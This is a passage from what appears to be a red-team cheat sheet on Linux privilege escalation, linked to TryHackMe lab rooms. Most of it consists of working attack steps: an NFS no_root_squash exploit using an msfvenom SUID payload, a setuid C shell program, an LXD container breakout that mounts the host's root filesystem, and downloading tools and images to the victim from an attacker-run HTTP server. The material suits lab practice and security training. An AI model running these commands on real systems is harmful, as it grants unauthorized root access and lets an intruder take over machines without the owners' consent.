<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYweinXUdvurOKrW1UXKN%2Fimage.png?alt=media&#x26;token=a666884f-6d11-44a4-8d23-f0cb69256859" alt=""><figcaption></figcaption></figure>

Note that the /tmp share has root squashing disabled.

On your Kali box, switch to your root user if you are not already running as root.

**Kali**

```
sudo su
```

Using Kali's root user, create a mount point on your Kali box and mount the /tmp share (update the IP accordingly).

**Kali**

```
mkdir /tmp/nfs
mount -o rw,vers=3 $VICTIM:/tmp /tmp/nfs
```

Still using Kali's root user, generate a payload using msfvenom and save it to the mounted share (this payload simply calls /bin/bash).

**Kali**

```
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
```

Still using Kali's root user, make the file executable and set the SUID permission.

**Kali**

```
chmod +xs /tmp/nfs/shell.elf
```

Back on the Debian VM, as the low privileged user account, execute the file to gain a root shell.

**Victim**

```
/tmp/shell.elf
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fv4X6snHC7E7BCexw40bY%2Fimage.png?alt=media&#x26;token=0f1cd807-b359-41b1-a917-008f3bc7398e" alt=""><figcaption></figcaption></figure>

### Option #2

**Victim**

```
showmount -e $VICTIM
cat /etc/exports
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FNZy03bxVrmRU1jTZsv1A%2Fimage.png?alt=media&#x26;token=47aa19c6-b46b-44da-9939-8272a56a77c6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F0VebrRqF0MXiWRmufinK%2Fimage.png?alt=media&#x26;token=3b2b0950-ba65-41f6-b505-e2de20ee3332" alt=""><figcaption></figcaption></figure>

**Kali**

```
mkdir /root/attack
mount -o rw $VICTIM:/home/ubuntu/sharedfolder /root/attack
subl /root/attack/nfc.c
```

**nfc.c**

```
int main()
{ setgid(0);
  setuid(0);
  system("/bin/bash");
  return 0;
}
```

**Kali**

```
gcc /root/attack/nfc.c -o /root/attack/nfc -w
chmod +s /root/attack/nfc
```

**Victim**

```
cd /home/ubuntu/sharedfolder
./nfc
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fh1nOsmJP9PzN7Tue2U5F%2Fimage.png?alt=media&#x26;token=4acf514d-3978-4e52-9ed0-f89f3550218d" alt=""><figcaption></figcaption></figure>

## Kernel Exploits

**Examples**

[#kernel-exploits](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc#kernel-exploits "mention")

## Writable Files

**Files where group permissions equal to "writable"**

```
find / -type f -perm /g=w -exec ls -l {} + 2> /dev/null 
```

```
find / -writable 2>/dev/null
```

## **Ports**

May be able to find open ports only accessible internally.&#x20;

```
ss -ltp
netstat -tuan
```

### LXD&#x20;

**Examples**

[anonymous](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/anonymous "mention")[gamingserver](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/gamingserver "mention")

**Resources**

<https://www.hackingarticles.in/lxd-privilege-escalation/>

**Victim**

```
id
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FhqYK2XLllEvTWhQm0o4l%2Fimage.png?alt=media&#x26;token=d422247e-641f-425b-9110-c0aa98778139" alt=""><figcaption></figcaption></figure>

**Kali**

```
git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
python2 -m SimpleHTTPServer 81
```

**Note:** The command lxd init was to resolve a storage pool area issue, it may not always be needed.

**Victim**

```
cd /tmp
wget http://$KALI:81/alpine-v3.18-x86_64-20231111_1929.tar.gz
lxc image import ./alpine-v3.18-x86_64-20231111_1929.tar.gz --alias myimage
lxd init
lxc image list
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id
```

## PolKit

**Examples:** [hip-flask](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/hip-flask "mention")

See if it exists.

**Kali**

```
apt list --upgradeable
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FOlRscIy8exHETHpq0rL9%2Fimage.png?alt=media&#x26;token=8763318d-ded0-4bc7-aabb-fb20c76b4491" alt=""><figcaption></figcaption></figure>

Check out this room for more details

{% embed url="<https://tryhackme.com/r/room/polkit>" %}

##

## Monitor Processes

**Examples**

[enumeration](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/enumeration "mention")

**Victim**

```
ps axf
```

### PSPY

script that can monitor linux processes without root access

**Kali**

```
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 
python2 -m SimpleHTTPServer 81
```

**Victim**

```
wget http://$KALI:81/pspy32 
chmod +x pspy32 
./pspy32 
```

## Docker Breakout / Privilege Escalation

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation>" %}

**Examples**

[container-vulnerabilities](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/hydra/container-vulnerabilities "mention")

[ultratech](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/ultratech "mention")

[dogcat](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/dogcat "mention")

[the-marketplace](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/the-marketplace "mention")

[chill-hack](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/chill-hack "mention")

[the-docker-rodeo](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/the-docker-rodeo "mention")

[the-great-escape](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/the-great-escape "mention")

[umbrella](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/umbrella "mention")

Copy Material from here:

<https://tryhackme.com/room/linprivesc>

## **Automated Enumeration Tools**

| Name                          | Link                                                                                            | Examples                                                                                                      |
| ----------------------------- | ----------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- |
| LinPeas                       | <https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS> | [internal](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/internal "mention") |
| LinEnum                       | <https://github.com/rebootuser/LinEnum>                                                         |                                                                                                               |
| LES (Linux Exploit Suggester) | <https://github.com/mzet-/linux-exploit-suggester>                                              |                                                                                                               |
| Linux Smart Enumeration       | <https://github.com/diego-treitos/linux-smart-enumeration>                                      |                                                                                                               |
| Linux Priv Checker            | <https://github.com/linted/linuxprivchecker>                                                    |                                                                                                               |

## Room with other things to try

<https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/linux-privesc>

## Other Cheat sheets

<https://github.com/RoqueNight/Linux-Privilege-Escalation-Basics>
